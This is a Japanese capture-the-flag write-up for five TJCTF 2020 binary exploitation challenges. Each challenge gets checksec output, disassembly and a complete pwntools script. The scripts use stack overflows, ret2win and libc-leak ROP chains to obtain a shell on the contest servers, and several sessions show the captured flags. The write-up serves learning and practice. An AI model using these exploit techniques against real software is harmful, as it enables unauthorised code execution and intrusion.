TJCTF 2020【Write-up】
Binary
Tinder
$ file 6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match 6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=20dc2329afce6884ca6bdae371f7af93bee637d5, with debug_info, not stripped
$ checksec.sh --file=./6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 85 Symbols No 02./6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match
0x080488cb <+222>: lea eax,[ebp-0x80] 0x080488ce <+225>: push eax 0x080488cf <+226>: call 0x8048720 <input> 0x080488d4 <+231>: add esp,0x10 0x080488d7 <+234>: sub esp,0xc 0x080488da <+237>: push 0xa 0x080488dc <+239>: call 0x8048580 <putchar@plt> 0x080488e1 <+244>: add esp,0x10 0x080488e4 <+247>: cmp DWORD PTR [ebp-0xc],0xc0d3d00d 0x080488eb <+254>: jne 0x80489a8 <main+443> 0x080488f1 <+260>: sub esp,0x8 0x080488f4 <+263>: lea eax,[ebp-0x30] 0x080488f7 <+266>: push eax 0x080488f8 <+267>: lea eax,[ebx-0x14f4] 0x080488fe <+273>: push eax 0x080488ff <+274>: call 0x80484e0 <printf@plt> 0x08048904 <+279>: add esp,0x10 0x08048907 <+282>: sub esp,0xc 0x0804890a <+285>: lea eax,[ebx-0x14c9] 0x08048910 <+291>: push eax 0x08048911 <+292>: call 0x8048520 <puts@plt> 0x08048916 <+297>: add esp,0x10 0x08048919 <+300>: sub esp,0xc 0x0804891c <+303>: push 0x3 0x0804891e <+305>: call 0x8048500 <sleep@plt> 0x08048923 <+310>: add esp,0x10 0x08048926 <+313>: sub esp,0xc 0x08048929 <+316>: lea eax,[ebx-0x14b0] 0x0804892f <+322>: push eax 0x08048930 <+323>: call 0x8048520 <puts@plt> 0x08048935 <+328>: add esp,0x10 0x08048938 <+331>: sub esp,0x8 0x0804893b <+334>: lea eax,[ebx-0x14a2] 0x08048941 <+340>: push eax 0x08048942 <+341>: lea eax,[ebx-0x14a0] 0x08048948 <+347>: push eax 0x08048949 <+348>: call 0x8048570 <fopen@plt>
ebp-0x80に入力したあとにebp-0xcと0xc0d3d00dを比べて、イコールでないときはmain+443に飛ばされ、イコールのときはそのままfopen関数によってファイルがopenされていることがわかります。
なので
$ p 0x80 - 0xc $1 = 0x74
より0x74に0xc0d3d00dがくるように書き込むとflagがopenされます。
from pwn import * e = ELF('./6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match') #p = process('./6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match') p = remote('p1.tjctf.org',8002) print p.recvuntil('Name: ') p.sendline('A') print p.recvuntil('Username: ') p.sendline('B') print p.recvuntil('Password: ') p.sendline('C') payload = 'A'*0x74 payload += p32(0xc0d3d00d) print p.recvuntil('Tinder Bio: ') p.sendline(payload) p.interactive()
$ python solve.py [+] Opening connection to p1.tjctf.org on port 8002: Done Welcome to TJTinder, please register to start matching! Name: Username: Password: Tinder Bio: [*] Switching to interactive mode Registered 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���' to TJTinder successfully! Searching for matches... It's a match! Here is your flag: tjctf{0v3rfl0w_0f_m4tch35}
Seachells
$ file d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3621729c49fe5cebe2153c267fbdf4adb70b0eec, not stripped
$ checksec.sh --file=./d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 01./d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells
簡単に実行した感じ、BOFがあることがわかります。
$ ./d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells Welcome to Sally's Seashore Shell Shop Would you like a shell? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa why are you even here? Segmentation fault (コアダンプ)
gdbでデバッグしてみるとshell関数が用意されているようです。
gdb-peda$ pdisas shell Dump of assembler code for function shell: 0x00000000004006c7 <+0>: push rbp 0x00000000004006c8 <+1>: mov rbp,rsp 0x00000000004006cb <+4>: sub rsp,0x10 0x00000000004006cf <+8>: mov QWORD PTR [rbp-0x8],rdi 0x00000000004006d3 <+12>: movabs rax,0xdeadcafebabebeef 0x00000000004006dd <+22>: cmp QWORD PTR [rbp-0x8],rax 0x00000000004006e1 <+26>: jne 0x4006ef <shell+40> 0x00000000004006e3 <+28>: lea rdi,[rip+0x13e] # 0x400828 0x00000000004006ea <+35>: call 0x4005c0 <system@plt> 0x00000000004006ef <+40>: nop 0x00000000004006f0 <+41>: leave 0x00000000004006f1 <+42>: ret
デバッグより、shell関数の引数を0xdeadcafebabebeefにして呼び出すことでsystem("/bin/sh")が呼び出されることになります。
from pwn import * e = ELF('./d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells') #p = process('./d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells') p = remote('p1.tjctf.org',8009) ret_addr = 0x0040057e pop_rdi_addr = 0x00400803 payload = 'A'*18 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(0xdeadcafebabebeef) payload += p64(e.symbols['shell']) p.sendline(payload) p.interactive()
$ python solve.py Welcome to Sally's Seashore Shell Shop Would you like a shell? why are you even here? $ ls bin flag.txt lib lib64 seashells $ cat flag.txt tjctf{she_s3lls_se4_sh3ll5}
OSRS
$ file 7b612244a961b33b4c016a3fc142f9ad035ef6a070ba16f4a962ba2c09f2aaa1_osrs 7b612244a961b33b4c016a3fc142f9ad035ef6a070ba16f4a962ba2c09f2aaa1_osrs: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d1fe30ddf26ddc33ca441a41efcaa9561d2f16d3, not stripped
$ checksec.sh --file=./7b612244a961b33b4c016a3fc142f9ad035ef6a070ba16f4a962ba2c09f2aaa1_osrs RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 73 Symbols No 02./7b612244a961b33b4c016a3fc142f9ad035ef6a070ba16f4a962ba2c09f2aaa1_osrs
NX disabledなのでshellcodeを実行したい気持ちになりますが、BOFがあるので単純にlibcをリークしてsystem("/bin/sh")を実行しました。
from pwn import * e = ELF('./7b612244a961b33b4c016a3fc142f9ad035ef6a070ba16f4a962ba2c09f2aaa1_osrs') p = remote('p1.tjctf.org',8006) libc = ELF('./libc6-i386_2.27-3ubuntu1_amd64.so') payload = 'A'*272 payload += p32(e.symbols['printf']) payload += p32(e.symbols['main']) payload += p32(e.got['printf']) print p.recvuntil('Enter a tree type: \n') p.sendline(payload) print p.recvuntil(':(\n') ret = u32(p.recvline()[:4]) libc_base_addr = ret - libc.symbols['printf'] system_addr = libc.symbols['system'] + libc_base_addr binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr payload = 'A'*272 payload += p32(system_addr) payload += 'AAAA' payload += p32(binsh_addr) p.sendline(payload) p.interactive()
$ ls bin flag.txt lib lib32 lib64 osrs wrapper $ cat flag.txt tjctf{tr33_c0de_in_my_she115}
Stop
$ file f70440d55f7950a958f1df9f3fd8299c11c2233667bc2c6f2d1333facae38d4a_stop f70440d55f7950a958f1df9f3fd8299c11c2233667bc2c6f2d1333facae38d4a_stop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f153c508057ccdf9a784656bfd40a9d9bc3ddc23, not stripped
$ checksec.sh --file=./f70440d55f7950a958f1df9f3fd8299c11c2233667bc2c6f2d1333facae38d4a_stop RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols No 02./f70440d55f7950a958f1df9f3fd8299c11c2233667bc2c6f2d1333facae38d4a_stop
これもBOFがあり、libcをリークしてsystem("/bin/sh")を実行しました。同じパターンが続いたので絶対に想定解じゃないと思います...。
from pwn import * e = ELF('./f70440d55f7950a958f1df9f3fd8299c11c2233667bc2c6f2d1333facae38d4a_stop') p = remote('p1.tjctf.org',8001) libc = ELF('./libc6_2.27-3ubuntu1_amd64.so') ret_addr = 0x0040056e pop_rdi_addr = 0x00400953 payload = 'A'*282 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(e.got['printf']) payload += p64(e.symbols['printf']) payload += p64(e.symbols['_start']) print p.recvuntil('Which letter?') p.sendline(payload) print p.recvuntil('yet') ret = u64(p.recv()[1:7] + '\x00\x00') libc_base_addr = ret - libc.symbols['printf'] system_addr = libc.symbols['system'] + libc_base_addr binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr payload = 'A'*282 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(binsh_addr) payload += p64(system_addr) p.sendline(payload) p.interactive()
Cookie Library
$ file 015ea92ef6d6f7dfbccb55de56641ce379ce8d030415d2044bac826c90438476_cookie_library 015ea92ef6d6f7dfbccb55de56641ce379ce8d030415d2044bac826c90438476_cookie_library: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cec2060214d46f6e3c9637bdfe968d15308f149a, not stripped
$ checksec.sh --file=./015ea92ef6d6f7dfbccb55de56641ce379ce8d030415d2044bac826c90438476_cookie_library RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 71 Symbols No 02./015ea92ef6d6f7dfbccb55de56641ce379ce8d030415d2044bac826c90438476_cookie_library
これもlibcをリークしてsystem("/bin/sh")を実行しました。
from pwn import * e = ELF('./015ea92ef6d6f7dfbccb55de56641ce379ce8d030415d2044bac826c90438476_cookie_library') p = remote('p1.tjctf.org',8010) libc = ELF('./libc6_2.27-3ubuntu1_amd64.so') ret_addr = 0x0040061e pop_rdi_addr = 0x00400933 payload = 'A'*88 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(e.got['printf']) payload += p64(e.symbols['printf']) payload += p64(e.symbols['_start']) print p.recvuntil('tasty?\n') p.sendline(payload) print p.recvline() ret = u64(p.recvline()[:6] + '\x00\x00') libc_base_addr = ret - libc.symbols['printf'] system_addr = libc.symbols['system'] + libc_base_addr binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr payload = 'A'*88 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(binsh_addr) payload += p64(system_addr) p.sendline(payload) p.interactive()